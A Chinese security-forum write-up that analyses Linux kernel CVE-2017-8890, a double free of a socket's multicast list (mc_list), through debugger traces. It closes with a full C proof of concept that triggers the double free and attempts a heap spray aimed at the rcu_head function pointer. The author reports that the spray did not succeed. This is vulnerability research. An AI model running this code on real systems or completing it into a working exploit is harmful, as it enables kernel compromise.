CVE-2017-8890漏洞分析

Editor發表於2018-08-15

2017年神洞。一直都想玩玩,前段時間分析了下漏洞原理,嘗試著寫漏洞利用,奈何一直堆噴不成功。哎,水平還是不夠,繼續修煉。分析過程就發出來吧。不喜勿噴。看了幾個linux網路方面的漏洞,發現linux中用C語言實現面對物件程式設計真是夠有意思的,尤其是找每個對應協議的回撥函式時,不太好找,或許對linux網路協議程式碼還是不夠熟悉吧。


基於linux-4.1原始碼分析


第一步,找出來mc_list第一次被初始化的函式。全域性搜尋mc_list的引用。


static int inet_create(struct net *net, struct socket *sock, int protocol,

                          int kern)


在inet_create函式中發現:

CVE-2017-8890漏洞分析


這裡只是初始化為NULL。


為什麼會確定就是inet_create函式中第一次被建立,因為inet_create函式是在應用層呼叫socket函式建立socket物件時走到核心層裡要呼叫的。動態除錯看。


CVE-2017-8890漏洞分析

看一下inet的值。

CVE-2017-8890漏洞分析

將mc_list的地址列印出來。

可以看到當前mc_list指標是NULL,存放mc_list指標的地址為0xffff88003cfce300

開始下記憶體訪問斷點。

CVE-2017-8890漏洞分析

跑起來,斷下來了。如下圖:

CVE-2017-8890漏洞分析

果然是在呼叫setsockopt設定組播模式這個過程中訪問的。

看一下原始碼:

CVE-2017-8890漏洞分析

果然是對mc_list進行rcu模式的解引用。

繼續向下看原始碼。

CVE-2017-8890漏洞分析

Rcu_assign_pointer這個其實rcu模式的拷貝函式。紅框中程式碼就是將iml賦值給inet_mc_list。

單步走看看iml的值。

CVE-2017-8890漏洞分析

Sock_kmalloc後,iml的值是0xffff88003c8ad80。繼續單步。

CVE-2017-8890漏洞分析

將inet->mc_list賦值給Iml->next_rcu,這個時候inet->mc_list仍然是NULL。

繼續單步。

即將執行1898行程式碼了。

CVE-2017-8890漏洞分析

單步過後。

CVE-2017-8890漏洞分析

已經賦值了。到這裡,算是inet->mc_list被第一次賦值了。這個值就是0xffff88003c8a4d0。

看一下inet->mc_list結構體裡的資料。

CVE-2017-8890漏洞分析

0xa0a02e0就是poc中的組網地址:10.10.2.224/0a:0a:02:e0。

到此,算是找出mc_list物件第一次被賦值。這個物件大小是0x30個位元組。

CVE-2017-8890漏洞分析

第二步:

Diff 可以找到補丁函式。

net/ipv4/inet_connection_sock.c:707

struct sock *inet_csk_clone_lock(const struct sock *sk,

                                      const struct request_sock *req,

                                      const gfp_t priority)

其實可以通過understand去找這個函式的呼叫鏈,在自動生成的過程中,發現找的不完整。故採取動態除錯檢視呼叫鏈。

接下來在inet_csk_clone_lock上下斷點。

CVE-2017-8890漏洞分析

主要是tcp_v4_syn_recv_sock在tcp_check_req這個函式的呼叫過程中是屬於回撥函式,故必須除錯檢視。檢視如下。

CVE-2017-8890漏洞分析

從原始碼中可以找到呼叫的地方,下面通過列印結構體進行確認。 

CVE-2017-8890漏洞分析

先確定從第一步到漏洞函式呼叫鏈。

CVE-2017-8890漏洞分析

在inet_csk_clone_lock中。

CVE-2017-8890漏洞分析

看一下補丁。

CVE-2017-8890漏洞分析

這裡需要確定newsk了。mc_list是一樣的。這裡就是sk_clone_lock拷貝的過程。

CVE-2017-8890漏洞分析

這裡父物件是0xffff88003cfce000,子物件是0xffff88003cfcf000。為什麼要確定這兩個物件。方便分析為什麼poc中要呼叫accept函式。

第三步:

確定accept函式呼叫鏈。

CVE-2017-8890漏洞分析

看一下原始碼。

CVE-2017-8890漏洞分析

在佇列中查詢已經建立的連線,並找出它們對應的sock物件。

CVE-2017-8890漏洞分析

Newsk其實就是前面三次握手後sk_clone_lock拷貝產生的子物件。在應用層呼叫accept函式,可以將這個newsk物件對應的應用層socket控制程式碼返回給使用者進行操作。

第四步:

Ok。到此,就剩下釋放了。Poc中釋放的程式碼如下:

CVE-2017-8890漏洞分析

Poc中寫的是先釋放子物件後釋放父物件。這裡就方便了,應為對mc_list下了記憶體訪問斷點,直接跑起來就可以看到結果了。

CVE-2017-8890漏洞分析

呼叫過程。

看一下原始碼:

CVE-2017-8890漏洞分析

除錯到這裡時候崩潰了,環境重新建立,有些資料結構肯定發生變化。

重新除錯來過。

確定父物件和子物件。

CVE-2017-8890漏洞分析

這裡0xffff8800cd46000是父物件,0xffff88003cd47000是子物件。

Mc_list物件如下圖:

CVE-2017-8890漏洞分析

這裡為避免傳送意外,直接在ip_mc_drop_socket上面下斷點,也可以同時下個記憶體斷點。

CVE-2017-8890漏洞分析

講道理肯定是在ip_mc_drop_socket上先斷下來。

CVE-2017-8890漏洞分析

先釋放子物件。 後面直接跑起來程式,又一次斷在了ip_mc_drop_socket上面,如下圖:

CVE-2017-8890漏洞分析

接著釋放父物件。下面就是二次釋放了。到此,漏洞原理分析完畢。

第五步:如何利用。

採取堆噴佔位。這裡看一下mc_list結構體:

CVE-2017-8890漏洞分析

Rcu_head結構體:

CVE-2017-8890漏洞分析

Rcu_head結構體裡面的func,函式指標。控制這個函式指標就可以控制EIP了。還有一個問題,這個func在哪裡呼叫?

這個rcu_head其實留給rcu機制在釋放資源時用於回撥的。這裡不展開講rcu機制。通俗點講,其實在kfree_rcu函式中只是給將要釋放的資源記錄一下並不是真正去釋放,這裡面有個寬限期的概念,然後傳送一個軟中斷給系統。然後rcu機制監聽到中斷後,相關相應函式開始工作。具體呼叫流程如下。

CVE-2017-8890漏洞分析

最終可以在__rcu_reclaim函式中有對func的呼叫。

CVE-2017-8890漏洞分析

Ok。

其實思路都很簡單,講出來或許大家都懂。但是在進行實際堆噴一直都不成功。我是採用多程式進行堆噴,一直提示setsockopt設定引數非法,一時比較懵圈。抽空再折騰折騰吧。

貼出POC,也是東家看,西家借鑑。各位高手請不吝指教。

#include

#include

#include  

#include  

#include  

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define PORT1 2333

#define PORT2 4321

#define BUFF_SIZE 48

#define SPRAY_SIZE 10000

#define MAX_CHILDREN_PROCESS 1024

#define MAX_CHILDREN_SOCKETS 60000

struct child_status_t {

  int num_sockets;

  int result;

};

int heap_spray_sock[MAX_CHILDREN_SOCKETS];

int maximize_fd_limit(void){

    struct  rlimit rlim;

    int ret;

    ret = getrlimit(RLIMIT_NOFILE,&rlim);

    if(ret != 0){

        return -1;

    }

    rlim.rlim_cur = rlim.rlim_max;

    setrlimit(RLIMIT_NOFILE,&rlim);

    ret = getrlimit(RLIMIT_NOFILE,&rlim);

    if(ret != 0){

        return -1;

    }

    return rlim.rlim_cur;

}

static int

create_socket(void)

{

    int sock; 

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    if (sock == -1) {

        return -1;

      }


      return sock;

}

static int do_child_task(int num_fds)

{

    int socks[num_fds];

    int heap_success_num;

    int ret;

    int i;

    struct group_req group = {0}; 

      struct sockaddr_in *psin;

    for(i=0; i < num_fds;i++){

        //建立socket,然後setsockopt

        socks[i] = create_socket();

        if(socks[i] == -1){

            break;

        }

    }

    num_fds = i;

    fflush(stdout);

    printf("success create socket: %d\n",num_fds);


    for(i=0; i < num_fds; i++) {

        //設定group.gr_group的相關配置,加入組網地址

        psin = (struct sockaddr_in *)&group.gr_group;

        psin->sin_family = AF_INET;

        psin->sin_port = htons(0);

        psin->sin_addr.s_addr = htonl(inet_addr("224.0.0.0"));//0x41424344


        if(setsockopt(socks[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)) != 0){

            perror("heap spray setsockopt().");

            break;

        }

        fflush(stdout);

        printf("888");

    }

    heap_success_num = i;

    fflush(stdout);

    printf("success heap spray setsockopt: %d\n",heap_success_num);


    for(i=0; i < num_fds; i++){

        ret = close(socks[i]);

    }

    if(ret == -1){

        return -1;

    }

    return heap_success_num;


}

int create_child(int num_fds,pid_t *pid, int *num_socks_created)

{

    int pipe_fds[2];

    int ret;


    *pid = -1;

    *num_socks_created = 0;

    *pid = fork();

    if(*pid == -1){

        perror("fork()");

        return -1;

    }

    if(*pid == 0){

        *num_socks_created = do_child_task(num_fds);

        exit(0);

    }


    return 0;

}

void create_heap_spray_sockets(void)

{

    static pid_t pids[MAX_CHILDREN_PROCESS];

    static int pipe_reads[MAX_CHILDREN_PROCESS];

    int max_fds;

    int num_socks;

    int num_children_process;

    int num_children_socks;

    int ret;

    int i;

    printf("creating heap spray sockets...\n");

    fflush(stdout);

    max_fds = maximize_fd_limit();

    printf("max_fds: %d\n",max_fds);

    num_children_process = 0;

    num_socks = 0;

    num_children_socks = 0;

    ret = 0;

    for(i = 0; i < MAX_CHILDREN_PROCESS;i++){

        int max_children_socks;

        int num_socks_created;

        max_children_socks = max_fds;

        if(max_children_socks + num_children_socks > MAX_CHILDREN_SOCKETS){

            max_children_socks = MAX_CHILDREN_SOCKETS - num_children_socks;

            if(max_children_socks < 1){

                break;

            } 

        }

        //建立子程式,並在子程式中建立sock

        printf("create %d child process.\n",i+1);

        create_child(max_children_socks,&pids[i],&num_socks_created);

        printf("the %d child process, child pid: %d\n", i+1,pids[i]);


        if(pids[i] == -1){

            break;

        }

        num_children_process++;

        num_children_socks += num_socks_created;

        printf(".");

        fflush(stdout);

    }

    printf(" OK\n");

    printf("%d sockets created\n",num_children_socks);

    for(i=0; i

        kill(pids[i],SIGKILL);

    }

}

void* free_fn(void* arg)

{

    int sockfd_client;

    int error;

    struct sockaddr_in sockaddr_client;

    struct sockaddr_in sockaddr_server;


    memset(&sockaddr_client,0,sizeof(sockaddr_client));

    sockaddr_client.sin_family = AF_INET;

    sockaddr_client.sin_port = htons(0);//0代表讓系統隨機分配一個空閒埠? 

    sockaddr_client.sin_addr.s_addr = htons(INADDR_ANY);

    if((sockfd_client = socket(AF_INET,SOCK_STREAM|SOCK_CLOEXEC,IPPROTO_IP)) == -1){

        printf("thread: socket error\n");

        pthread_exit(0);

    }

    if(bind(sockfd_client,(struct sockaddr*)&sockaddr_client,sizeof(sockaddr_client))){

        printf("[Client] client bind port failed!\n");

        exit(1);

    }


    memset(&sockaddr_server,0,sizeof(sockaddr_server));

    sockaddr_server.sin_family = AF_INET;

    sockaddr_server.sin_port = htons(PORT1);

    sockaddr_server.sin_addr.s_addr = htons(INADDR_ANY);

    if((error = connect(sockfd_client,(struct sockaddr*)&sockaddr_server,sizeof(sockaddr_server))) ==0){

        printf("thread: client connected successfully.\n");


    }else{

        perror("error:");

        printf("thread: connect error.\n");

    }

    close(sockfd_client);   

    pthread_exit(0);

}

int main(int argc, char** argv)

{

    int socket_fd;

    int retn;

    struct sockaddr_in servaddr;

    struct sockaddr_in clientaddr;

    struct group_req group = {0};

    struct sockaddr_in *psin;

    printf("pid : %d\n",getpid());


    //設定group.gr_group的相關配置,加入組網地址

    psin = (struct sockaddr_in *)&group.gr_group;

    psin->sin_family = AF_INET;

    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));


    if( (socket_fd = socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) ==-1){

        printf("socket error\n");

        exit(0);

    }


  memset(&servaddr,0,sizeof(servaddr));

    servaddr.sin_family = AF_INET;

    servaddr.sin_addr.s_addr = htons(INADDR_ANY);

    servaddr.sin_port = htons(PORT1);

    if(setsockopt(socket_fd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group))==-1){

        printf("setsockopt error\n");

        perror("error: ");

        exit(0);

    }


    if(bind(socket_fd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){

        printf("bind successfuly.\n");

    }else{

        printf("bind error.\n");

        exit(0);

    }

    if(listen(socket_fd,2)==0){

        printf("listen successfuly.\n");

    }else{

        printf("listen error.\n");

        exit(0);

    }

    pthread_t free;

    if(pthread_create(&free,NULL,free_fn,NULL)){

        printf("pthread_create error\n");

        exit(0);

    }

    sleep(3);

    //printf("start to heap spray init.\n");

    //heap_spray_init();

    //printf("heap spray init finish.\n");


    int size = sizeof(clientaddr); 

    retn = accept(socket_fd,(struct sockaddr*)&clientaddr,(socklen_t *)&size);

    if(retn < 0){

        perror("accept error.\n");

    } 

    printf("start to sleep.\n");

    sleep(3);

    printf("stop to sleep.\n");


    printf("start to free mc_list firstly\n");

    close(retn);//對應子物件

    printf("free firstly ok!\n");

    //堆噴做準備

    printf("start to heap spray!\n");

    create_heap_spray_sockets();

    printf("heap spray ok! start to target vuln\n");


    printf("start to free mc_list secondly!\n");

    sleep(5);

    close(socket_fd);//對應父物件


    return 0;

}


本文由看雪論壇 ID蝴蝶 原創,轉載請註明來自看雪社群

原文連結:[原創]CVE-2017-8890漏洞分析-『二進位制漏洞』-看雪安全論壇


相關文章